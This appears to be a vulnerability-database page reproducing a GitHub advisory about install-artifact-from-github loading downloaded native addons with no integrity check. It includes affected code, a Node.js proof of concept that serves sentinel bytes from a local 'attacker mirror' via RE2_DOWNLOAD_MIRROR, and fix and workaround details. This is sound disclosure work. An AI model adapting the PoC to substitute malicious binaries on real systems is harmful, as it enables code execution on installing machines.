GHSA-88Q3-GCH3-5396
Vulnerability from github – Published: 2026-11-18 21:17 – Updated: 2026-11-18 21:17Description
bin/install-from-cache.js downloads a prebuilt native addon (*.node) over the network and writes it directly to the artifact path with no cryptographic integrity verification of any kind — no checksum manifest, no signature, no SRI. A scan of the whole package for createHash|sha256|checksum|integrity|digest|signature finds nothing. The file is then require()-loaded by the consumer, which executes the addon's native module-init code. Anyone able to influence the download achieves code execution on the installing machine.
Affected code (v1.6.0)
-
Mirror is fully attacker-steerable via an env var, no host pinning —
bin/install-from-cache.js:80:js let assetUrl = mirrorHost || process.env[mirrorEnvVar] || 'https://github.com';re2passes--host-var RE2_DOWNLOAD_MIRROR, so settingRE2_DOWNLOAD_MIRROR(CI config,.npmrc/env passthrough, a compromised CI job, a poisoned shell profile) redirects 100% of the download to an arbitrary host with zero pinning. -
The write sink is a bare
writeFile, no verification —bin/install-from-cache.js:185-187:js const write = async (name, data) => { await fsp.mkdir(path.dirname(name), {recursive: true}); await fsp.writeFile(name, data); // `data` is the raw HTTP response body }; -
Cleartext transfer + silent protocol downgrade on redirect —
bin/install-from-cache.js:155,165:js const httpLib = isHttps.test(url) ? https : isHttp.test(url) ? http : null; // http:// supported ... get(res.headers.location).then(resolve, reject); // re-derives protocol from the NEW urlAnhttps://asset that 302-redirects tohttp://is followed and fetched over plaintext, no warning, no scheme pinning, no redirect cap.
The post-download "verification" is not an integrity gate
isVerified() optionally runs npm run verify-build / npm test after writing the file. For re2, scripts/verify-build.js require()s the binary as its first line — i.e. the downloaded addon's native code has already executed by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any npm_config_platform* env var is set (:120-122).
Proof of concept
A self-contained, non-malicious PoC (poc.js) proves the missing-integrity property against the real install-from-cache, without shipping a weaponized binary: it stands up a plaintext-HTTP "mirror" serving a sentinel payload, runs install-from-cache with RE2_DOWNLOAD_MIRROR pointed at it, and shows the served bytes are written verbatim to build/Release/re2.node:
npm i install-artifact-from-github
IAFG_BIN=./node_modules/install-artifact-from-github/bin/install-from-cache.js node poc.js
attacker mirror (plaintext http) on 127.0.0.1:PORT
[mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137
Writing to build/Release/re2.node ... Done.
install-from-cache exit: 0
served sha256: ec6fdde6...4ebc
written sha256: ec6fdde6...4ebc
✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them
The install succeeds (exit 0) with attacker-controlled bytes at the artifact path. Because a real .node executes on require() (NAPI/NODE_MODULE init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.)
Attack scenarios (any one suffices)
- Attacker-configured or later-compromised
RE2_DOWNLOAD_MIRROR. - Tampered GitHub release / compromised maintainer account — no checksum detects a swapped asset, even over HTTPS.
- On-path attacker where a plaintext (
http://) mirror or anhttps→httpredirect is in play.
Suggested fix
- Publish per-release
SHASUMS256.txt(or embed expected digests) and verify the download's SHA-256 before writing/loading; refuse on mismatch. (This is the modelprebuild-installalready uses.) - Reject
http://asset URLs andhttps→httpredirect downgrades; pin scheme across redirects; cap redirect count/hosts. - Document that
verify-build/testrun after load and cannot gate integrity.
PoC
poc.js:
// PoC — install-artifact-from-github writes a network-downloaded artifact to disk with NO
// integrity verification, from an env-controlled mirror, over plaintext HTTP.
//
// This proves the CORE defect (arbitrary attacker-supplied bytes become build/Release/re2.node
// with zero checksum/signature check) WITHOUT shipping a weaponized native binary: we serve a
// sentinel payload and show byte-for-byte (sha256) that it is written verbatim as the artifact.
// Because a .node artifact is dlopen()'d on require (running its module-init native code), an
// attacker who substitutes it — via a compromised/attacker-set RE2_DOWNLOAD_MIRROR, a tampered
// GitHub release, or an on-path MITM on the plaintext path — achieves code execution.
//
// Run: IAFG_BIN=/path/to/install-artifact-from-github/bin/install-from-cache.js node poc.js
// (defaults to require.resolve if install-artifact-from-github is installed nearby)
const http = require('http');
const fs = require('fs');
const os = require('os');
const path = require('path');
const crypto = require('crypto');
const { spawn } = require('child_process');
const IAFG = process.env.IAFG_BIN || require.resolve('install-artifact-from-github/bin/install-from-cache.js');
const SENTINEL = Buffer.from('ATTACKER-CONTROLLED-ARTIFACT-BYTES-' + 'A'.repeat(2048)); // stand-in for a malicious .node
const servedSha = crypto.createHash('sha256').update(SENTINEL).digest('hex');
const work = fs.mkdtempSync(path.join(os.tmpdir(), 'iafg-poc-'));
fs.writeFileSync(path.join(work, 'package.json'), JSON.stringify({
name: 're2', version: '1.24.1', repository: { type: 'git', url: 'https://github.com/uhop/node-re2.git' },
scripts: { 'verify-build': 'node -e "process.exit(0)"' } // trivial pass; the WRITE happened before this
}));
const server = http.createServer((req, res) => {
process.stdout.write(` [mirror] served ${SENTINEL.length} attacker bytes over HTTP for ${req.url}\n`);
res.writeHead(200, { 'content-type': 'application/octet-stream' });
res.end(SENTINEL);
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log(`attacker mirror (plaintext http) on 127.0.0.1:${port}`);
const child = spawn('node', [IAFG,
'--artifact', 'build/Release/re2.node',
'--host-var', 'RE2_DOWNLOAD_MIRROR',
'--skip-path-var', 'RE2_DOWNLOAD_SKIP_PATH',
'--skip-ver-var', 'RE2_DOWNLOAD_SKIP_VER'], {
cwd: work, stdio: ['ignore', 'inherit', 'ignore'],
env: { ...process.env, RE2_DOWNLOAD_MIRROR: `http://127.0.0.1:${port}`,
npm_package_version: '1.24.1', npm_package_github: 'https://github.com/uhop/node-re2',
npm_package_scripts_verify_build: 'node -e "process.exit(0)"' }
});
child.on('exit', (code) => {
server.close();
console.log('install-from-cache exit:', code);
const artifact = path.join(work, 'build/Release/re2.node');
if (fs.existsSync(artifact)) {
const writtenSha = crypto.createHash('sha256').update(fs.readFileSync(artifact)).digest('hex');
console.log('served sha256:', servedSha);
console.log('written sha256:', writtenSha);
console.log(servedSha === writtenSha
? '✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them (served over plaintext HTTP from an env-controlled mirror). A real .node here would execute on require().'
: '✗ sha mismatch');
} else {
console.log('✗ artifact not written (check IAFG_BIN path)');
}
fs.rmSync(work, { recursive: true, force: true });
});
});
Patches
Fixed in 1.7.0 via hash-bag verification. The consuming package publishes an artifactHashes map (slot → sha256:<hex> of the decompressed binary) in its own package.json — immutable once on npm, stamped at publish time by the new hash-github-cache --write bin (e.g. wired as prepublishOnly). install-from-cache now verifies the decompressed download before writing it to disk; a hash mismatch or a missing slot rejects the download and falls back to building from source. Verification is scoped to the default github.com source — an explicitly configured mirror (--host / mirror env var) remains trust-the-mirror by design. Because the bytes are checked against the published bag, an on-path attacker or an https→http transport downgrade on the default path is also defeated by content verification.
Note: verification activates only when the consuming package ships an artifactHashes bag; packages without one behave as before (backward-compatible, zero-config default). node-re2 >= 1.26.0 publishes a stamped bag.
Workarounds
On <= 1.6.0: skip downloading entirely and build from source via the documented dev short-circuit (DEVELOPMENT_SKIP_GETTING_ASSET env var, or a .development file). 1.7.0 adds first-class --force-build / DOWNLOAD_FORCE_BUILD for the same effect. In all versions, never point a mirror variable (e.g. RE2_DOWNLOAD_MIRROR) at a host you do not fully control.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.0"
},
"package": {
"ecosystem": "npm",
"name": "install-artifact-from-github"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73864"
],
"database_specific": {
"cwe_ids": [
"CWE-494"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-18T21:17:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Description\n\n`bin/install-from-cache.js` downloads a prebuilt native addon (`*.node`) over the network and writes it directly to the artifact path **with no cryptographic integrity verification of any kind** \u2014 no checksum manifest, no signature, no SRI. A scan of the whole package for `createHash|sha256|checksum|integrity|digest|signature` finds nothing. The file is then `require()`-loaded by the consumer, which executes the addon\u0027s native module-init code. Anyone able to influence the download achieves code execution on the installing machine.\n\n### Affected code (v1.6.0)\n\n- **Mirror is fully attacker-steerable via an env var, no host pinning** \u2014 `bin/install-from-cache.js:80`:\n ```js\n let assetUrl = mirrorHost || process.env[mirrorEnvVar] || \u0027https://github.com\u0027;\n ```\n `re2` passes `--host-var RE2_DOWNLOAD_MIRROR`, so setting `RE2_DOWNLOAD_MIRROR` (CI config, `.npmrc`/env passthrough, a compromised CI job, a poisoned shell profile) redirects 100% of the download to an arbitrary host with zero pinning.\n\n- **The write sink is a bare `writeFile`, no verification** \u2014 `bin/install-from-cache.js:185-187`:\n ```js\n const write = async (name, data) =\u003e {\n await fsp.mkdir(path.dirname(name), {recursive: true});\n await fsp.writeFile(name, data); // `data` is the raw HTTP response body\n };\n ```\n\n- **Cleartext transfer + silent protocol downgrade on redirect** \u2014 `bin/install-from-cache.js:155,165`:\n ```js\n const httpLib = isHttps.test(url) ? https : isHttp.test(url) ? http : null; // http:// supported\n ...\n get(res.headers.location).then(resolve, reject); // re-derives protocol from the NEW url\n ```\n An `https://` asset that 302-redirects to `http://` is followed and fetched over plaintext, no warning, no scheme pinning, no redirect cap.\n\n### The post-download \"verification\" is not an integrity gate\n\n`isVerified()` optionally runs `npm run verify-build` / `npm test` *after* writing the file. For `re2`, `scripts/verify-build.js` `require()`s the binary as its first line \u2014 i.e. the downloaded addon\u0027s native code has **already executed** by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any `npm_config_platform*` env var is set (`:120-122`).\n\n## Proof of concept\n\nA self-contained, **non-malicious** PoC (`poc.js`) proves the missing-integrity property against the real `install-from-cache`, without shipping a weaponized binary: it stands up a plaintext-HTTP \"mirror\" serving a sentinel payload, runs `install-from-cache` with `RE2_DOWNLOAD_MIRROR` pointed at it, and shows the served bytes are written **verbatim** to `build/Release/re2.node`:\n\n```\nnpm i install-artifact-from-github\nIAFG_BIN=./node_modules/install-artifact-from-github/bin/install-from-cache.js node poc.js\n```\n```\nattacker mirror (plaintext http) on 127.0.0.1:PORT\n [mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137\nWriting to build/Release/re2.node ... Done.\ninstall-from-cache exit: 0\nserved sha256: ec6fdde6...4ebc\nwritten sha256: ec6fdde6...4ebc\n\u2713 attacker bytes written VERBATIM to build/Release/re2.node \u2014 NO integrity check rejected them\n```\n\nThe install **succeeds (exit 0)** with attacker-controlled bytes at the artifact path. Because a real `.node` executes on `require()` (NAPI/`NODE_MODULE` init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.)\n\n## Attack scenarios (any one suffices)\n- Attacker-configured or later-compromised `RE2_DOWNLOAD_MIRROR`.\n- Tampered GitHub release / compromised maintainer account \u2014 no checksum detects a swapped asset, even over HTTPS.\n- On-path attacker where a plaintext (`http://`) mirror or an `https\u2192http` redirect is in play.\n\n## Suggested fix\n1. Publish per-release `SHASUMS256.txt` (or embed expected digests) and verify the download\u0027s SHA-256 **before** writing/loading; refuse on mismatch. (This is the model `prebuild-install` already uses.)\n2. Reject `http://` asset URLs and `https\u2192http` redirect downgrades; pin scheme across redirects; cap redirect count/hosts.\n3. Document that `verify-build`/`test` run *after* load and cannot gate integrity.\n\n## PoC\n**poc.js:**\n\n```js\n// PoC \u2014 install-artifact-from-github writes a network-downloaded artifact to disk with NO\n// integrity verification, from an env-controlled mirror, over plaintext HTTP.\n//\n// This proves the CORE defect (arbitrary attacker-supplied bytes become build/Release/re2.node\n// with zero checksum/signature check) WITHOUT shipping a weaponized native binary: we serve a\n// sentinel payload and show byte-for-byte (sha256) that it is written verbatim as the artifact.\n// Because a .node artifact is dlopen()\u0027d on require (running its module-init native code), an\n// attacker who substitutes it \u2014 via a compromised/attacker-set RE2_DOWNLOAD_MIRROR, a tampered\n// GitHub release, or an on-path MITM on the plaintext path \u2014 achieves code execution.\n//\n// Run: IAFG_BIN=/path/to/install-artifact-from-github/bin/install-from-cache.js node poc.js\n// (defaults to require.resolve if install-artifact-from-github is installed nearby)\nconst http = require(\u0027http\u0027);\nconst fs = require(\u0027fs\u0027);\nconst os = require(\u0027os\u0027);\nconst path = require(\u0027path\u0027);\nconst crypto = require(\u0027crypto\u0027);\nconst { spawn } = require(\u0027child_process\u0027);\n\nconst IAFG = process.env.IAFG_BIN || require.resolve(\u0027install-artifact-from-github/bin/install-from-cache.js\u0027);\nconst SENTINEL = Buffer.from(\u0027ATTACKER-CONTROLLED-ARTIFACT-BYTES-\u0027 + \u0027A\u0027.repeat(2048)); // stand-in for a malicious .node\nconst servedSha = crypto.createHash(\u0027sha256\u0027).update(SENTINEL).digest(\u0027hex\u0027);\n\nconst work = fs.mkdtempSync(path.join(os.tmpdir(), \u0027iafg-poc-\u0027));\nfs.writeFileSync(path.join(work, \u0027package.json\u0027), JSON.stringify({\n name: \u0027re2\u0027, version: \u00271.24.1\u0027, repository: { type: \u0027git\u0027, url: \u0027https://github.com/uhop/node-re2.git\u0027 },\n scripts: { \u0027verify-build\u0027: \u0027node -e \"process.exit(0)\"\u0027 } // trivial pass; the WRITE happened before this\n}));\n\nconst server = http.createServer((req, res) =\u003e {\n process.stdout.write(` [mirror] served ${SENTINEL.length} attacker bytes over HTTP for ${req.url}\\n`);\n res.writeHead(200, { \u0027content-type\u0027: \u0027application/octet-stream\u0027 });\n res.end(SENTINEL);\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n const port = server.address().port;\n console.log(`attacker mirror (plaintext http) on 127.0.0.1:${port}`);\n const child = spawn(\u0027node\u0027, [IAFG,\n \u0027--artifact\u0027, \u0027build/Release/re2.node\u0027,\n \u0027--host-var\u0027, \u0027RE2_DOWNLOAD_MIRROR\u0027,\n \u0027--skip-path-var\u0027, \u0027RE2_DOWNLOAD_SKIP_PATH\u0027,\n \u0027--skip-ver-var\u0027, \u0027RE2_DOWNLOAD_SKIP_VER\u0027], {\n cwd: work, stdio: [\u0027ignore\u0027, \u0027inherit\u0027, \u0027ignore\u0027],\n env: { ...process.env, RE2_DOWNLOAD_MIRROR: `http://127.0.0.1:${port}`,\n npm_package_version: \u00271.24.1\u0027, npm_package_github: \u0027https://github.com/uhop/node-re2\u0027,\n npm_package_scripts_verify_build: \u0027node -e \"process.exit(0)\"\u0027 }\n });\n child.on(\u0027exit\u0027, (code) =\u003e {\n server.close();\n console.log(\u0027install-from-cache exit:\u0027, code);\n const artifact = path.join(work, \u0027build/Release/re2.node\u0027);\n if (fs.existsSync(artifact)) {\n const writtenSha = crypto.createHash(\u0027sha256\u0027).update(fs.readFileSync(artifact)).digest(\u0027hex\u0027);\n console.log(\u0027served sha256:\u0027, servedSha);\n console.log(\u0027written sha256:\u0027, writtenSha);\n console.log(servedSha === writtenSha\n ? \u0027\u2713 attacker bytes written VERBATIM to build/Release/re2.node \u2014 NO integrity check rejected them (served over plaintext HTTP from an env-controlled mirror). A real .node here would execute on require().\u0027\n : \u0027\u2717 sha mismatch\u0027);\n } else {\n console.log(\u0027\u2717 artifact not written (check IAFG_BIN path)\u0027);\n }\n fs.rmSync(work, { recursive: true, force: true });\n });\n});\n```\n\n## Patches\n\nFixed in **1.7.0** via hash-bag verification. The consuming package publishes an `artifactHashes` map (`slot \u2192 sha256:\u003chex\u003e` of the decompressed binary) in its *own* `package.json` \u2014 immutable once on npm, stamped at publish time by the new `hash-github-cache --write` bin (e.g. wired as `prepublishOnly`). `install-from-cache` now verifies the decompressed download **before writing it to disk**; a hash mismatch or a missing slot rejects the download and falls back to building from source. Verification is scoped to the default `github.com` source \u2014 an explicitly configured mirror (`--host` / mirror env var) remains trust-the-mirror by design. Because the bytes are checked against the published bag, an on-path attacker or an `https\u2192http` transport downgrade on the default path is also defeated by content verification.\n\nNote: verification activates only when the consuming package ships an `artifactHashes` bag; packages without one behave as before (backward-compatible, zero-config default). `node-re2 \u003e= 1.26.0` publishes a stamped bag.\n\n## Workarounds\n\nOn `\u003c= 1.6.0`: skip downloading entirely and build from source via the documented dev short-circuit (`DEVELOPMENT_SKIP_GETTING_ASSET` env var, or a `.development` file). 1.7.0 adds first-class `--force-build` / `DOWNLOAD_FORCE_BUILD` for the same effect. In all versions, never point a mirror variable (e.g. `RE2_DOWNLOAD_MIRROR`) at a host you do not fully control.",
"id": "GHSA-88q3-gch3-5396",
"modified": "2026-11-18T21:17:37Z",
"published": "2026-11-18T21:17:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uhop/install-artifact-from-github/security/advisories/GHSA-88q3-gch3-5396"
},
{
"type": "WEB",
"url": "https://github.com/uhop/install-artifact-from-github/commit/1d2d8637556a03f6235e50fe0c238c6dce291633"
},
{
"type": "PACKAGE",
"url": "https://github.com/uhop/install-artifact-from-github"
},
{
"type": "WEB",
"url": "https://github.com/uhop/install-artifact-from-github/releases/tag/1.7.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "install-artifact-from-github loads downloaded native artifacts without integrity verification"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
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